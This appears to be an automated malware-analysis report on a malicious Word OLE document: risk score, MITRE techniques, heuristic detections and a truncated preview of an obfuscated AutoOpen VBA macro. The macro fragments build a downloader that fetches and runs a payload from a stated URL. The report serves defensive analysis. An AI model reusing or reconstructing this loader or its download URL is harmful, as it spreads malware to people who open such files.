MALICIOUS
302
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a malicious OLE document containing obfuscated VBA macros. The AutoOpen macro, identified by multiple heuristics, is designed to execute a command. The script attempts to download a payload from the reconstructed URL 'http://eapsaafkd+fkdcfkd+fkdadeedN+edNmy.org/fkd+fkdCsZxfkedN+edNd+fkdHA/fkd+fkdhhlmtGt3jJ', indicating a downloader or droppper functionality.
Heuristics 8
-
ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 82180 bytes |
SHA-256: a05bfac5041cdfab18d83b8fa2e6986b38977550140be29bd120bf00d628df45 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "SDSohUvqLm"
Function IMdfhIvvRJiB()
On Error Resume Next
iXUANwJAU = (QYFMHAtanVl - Rnd(43 * Tan(uTrUPIiBU)) / fvClOWPlEC * Oct(fXuqXYlMlp) * SXqmBKCz / Oct(pKusJKWlXLCRju - Chr(250) + 581 - ChrB(vzdrkwpjj)) - 389 + ciucUEjEIh)
rnfDCai = (fSoTKaLVD - Rnd(43 * Tan(AoLFNfT)) / UVqLDuRz * Oct(wLPhEEiTIUqiPj) * GKPzpTG / Oct(zJzrWTPtCMi - Chr(250) + 581 - ChrB(KnSvkjlFL)) - 389 + dEplFtiRIcq)
XGGIDndLEfr = (bKLQoAZTLSVTN) + Mid("FSpfkd+'+'fkdas fkd+fkd+ L6ifedN+edNkd+fkd.eedN+edNxefkd+fkdL6i'+';forea'+'edN+edNfkd+fkdc'+'h(8Drabf'+'kd+fkdc in XqDShifq", 3, 113)
XdCXVtBwRk = (cBjNCzoZnq - Rnd(43 * Tan(cbqDjKPzAaNV)) / fbJCGTMaMtSv * Oct(dizAJtjtCSmQXY) * LhvPjAhapmTUi / Oct(PiXIkhhz - Chr(250) + 581 - ChrB(RUpndIX)) - 389 + jvXPfwDPwwHH)
uCWHvBLH = (tvMwQQjEMAZV - Rnd(43 * Tan(LsXKFdzCBfPqZp)) / QnIVpcU * Oct(lkTphDH) * EYfaaHswoi / Oct(rPwFrahoZrDf - Chr(250) + 581 - ChrB(qrlamnSzuH)) - 389 + RtPbIuMh)
ilquwk = (ILjivqNESSBjZ - Rnd(43 * Tan(tjkTtnka)) / navmCqYIcvEPD * Oct(UIYjrooLGzvrCz) * OzGiTsDzEKNuKZ / Oct(VrpkQLVEtlDcU - Chr(250) + 581 - ChrB(rKoYMNvzhjGQIT)) - 389 + duimSiDBSi)
tcvTnz = (qZCkmkPIn) + Mid("fKVu5WVkedNcd = L6if'+'kd+fkdhfkd+fkdttfkd+fk'+'dedN+edNp://eapsaafkd+fkdcfkd+fkdadeedN+edNmy.org/fkd+fkdCsZxfkedN+edNd+fkdHA/,fkd+fkdhhlmtGt3jJ", 9, 127)
rnZnlsHY = (vckoibPA - Rnd(43 * Tan(hjAtKkiVS)) / AQizIlow * Oct(FfiiWYaO) * zwLYSjMa / Oct(YjitncDj - Chr(250) + 581 - ChrB(MfcDqdDukCCdU)) - 389 + VaYWwbwwkhZP)
DQRJoFUQ = (HmrQMztlBWtGhm - Rnd(43 * Tan(jUwdQVAwsG)) / rVIXLVFsqiYDY * Oct(WNwTVzXPXmdMk) * aHowKUGXcd / Oct(XApwtKRZ - Chr(250) + 581 - ChrB(tIDiXJUbwVuwl)) - 389 + RjqatDiwkSIw)
BktMhOT = (tGhVXzKYhEz - Rnd(43 * Tan(SOGEEsOu)) / daNWisAbnmVmvi * Oct(QGawaJrLP) * tdwWlpzokQ / Oct(UwoHJwuSiWW - Chr(250) + 581 - ChrB(qowRPUlmPwwp)) - 389 + DFCwWwLOk)
uSihVi = (jLsCbpiNj) + Mid("NBnFtT4kQbAclkecfkd+fkdt fkd+edN+Js67tiBdWQspbY7N0", 15, 19)
JXMJJLLLPR = (hTicMnvaRDJbBA - Rnd(43 * Tan(ZHjMlPYMCkY)) / GvYkVYMnIT * Oct(hLqKzjhwrDEZc) * wMjIHbroRoft / Oct(nCoNWFOBA - Chr(250) + 581 - ChrB(EYfVljSCVvBZMj)) - 389 + AsBtuBfFOuw)
PdGpdiFTZbV = (lEdtADpjfwCK - Rnd(43 * Tan(nDvYCJjSk)) / mjoYTzaoz * Oct(NtpKiAaZYAHVm) * AwzlpLk / Oct(AorMLfVjF - Chr(250) + 581 - ChrB(DVAuOluC)) - 389 + GukIQtoXXAow)
nCavz = (jbGFHwmJwQO - Rnd(43 * Tan(HiVMMHGtYTRbp)) / bUBjTduEuZm * Oct(lvPWGzfFvIMHBa) * XDQJiPfWSISzk / Oct(DnvaQWLiCMUvkj - Chr(250) + 581 - ChrB(HuitoXAiPH)) - 389 + GYzNoAvJsUR)
QzzwN = (qiUOhvR) + Mid("BHX8Drbcd){try{8Drffkd+fkdrfkd'+'+fkdanc.Dofkd+fkdwedN+edNnlfkd+fkdoadFile(fkd+fkd8Dra'+'fkd+fkdbfkd+edN+edNfkdc.ToString()fkd+fkd, 8Dfkd+fkdrhuas);fkd+fkdInvfkd+fkdofkd+fkdkEDQhJWfEjY7KqBKqf1qwPGiPOOED7KzDQM", 4, 171)
AFupl = (FwsATRouEouzS - Rnd(43 * Tan(zGhOrnciU)) / jbSXHwjQL * Oct(PBBNSdNoC) * pKwcoRq / Oct(zLLbicUswRmG - Chr(250) + 581 - ChrB(dmCBwET)) - 389 + OanbOaVcqiqHwT)
zXSEoUPdPJw = (qkHuUGjqciTll - Rnd(43 * Tan(bOcpzYOGmnDofb)) / zpRXWHpQZDMZq * Oct(izwuakuIMdXb) * zTqjbHzfpBOP / Oct(lwDllzYWEoHtF - Chr(250) + 581 - ChrB(wocnzvXswiXkS)) - 389 + EtzifmwwEbsYD)
QSPdDjKsUFX = (qMWpjlXzPCz - Rnd(43 * Tan(HjwwHKmzN)) / faWjimiOOwh * Oct(rdlIkOfoH) * tKWLEwtCmw / Oct(QhvSzGlUA - Chr(250) + 581 - ChrB(DissTMwaXTYSI)) - 389 + LMShjVMJkCbw)
DKbJU = (DoXZtZivBwAMYv) + Mid("hkWafhzc[4,15,25]-JoinedNedN)')i5idp4wYd6fd3cE", 8, 24)
orQdW = (sfjmVPzqM - Rnd(43 * Tan(OUPtCUNAj)) / SLqZOTtBkBu * Oct(rKzQwlPCuOj) * TKWEukNsrYuj / Oct(KXCWzGLUmcFtl - Chr(250) + 581 - ChrB(ckdkEiHFEw)) - 389 + HznBjTQTboNMj)
LqVwuh = (SjdYwuNbjjCRRU - Rnd(43 * Tan(itlzYMpQpNbzik)) / uXmFNOhX * Oct(DpRQVctoKhqKSw) * hcQnKVu / Oct(qZofiLGkAWm - Chr(250) + 581 - ChrB(jvZuNUnoAuzcaj)) - 389 + lzuNdIKaqh)
JZKjIQ = (hFTGipG - Rnd(43 * Tan(SDJpaJhOYz)) / wJsYWidzlCtVf * Oct(RujuGwHBwwd) * ckzjWjQAts / Oct(jzbEpUVYhiPJP - Ch
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.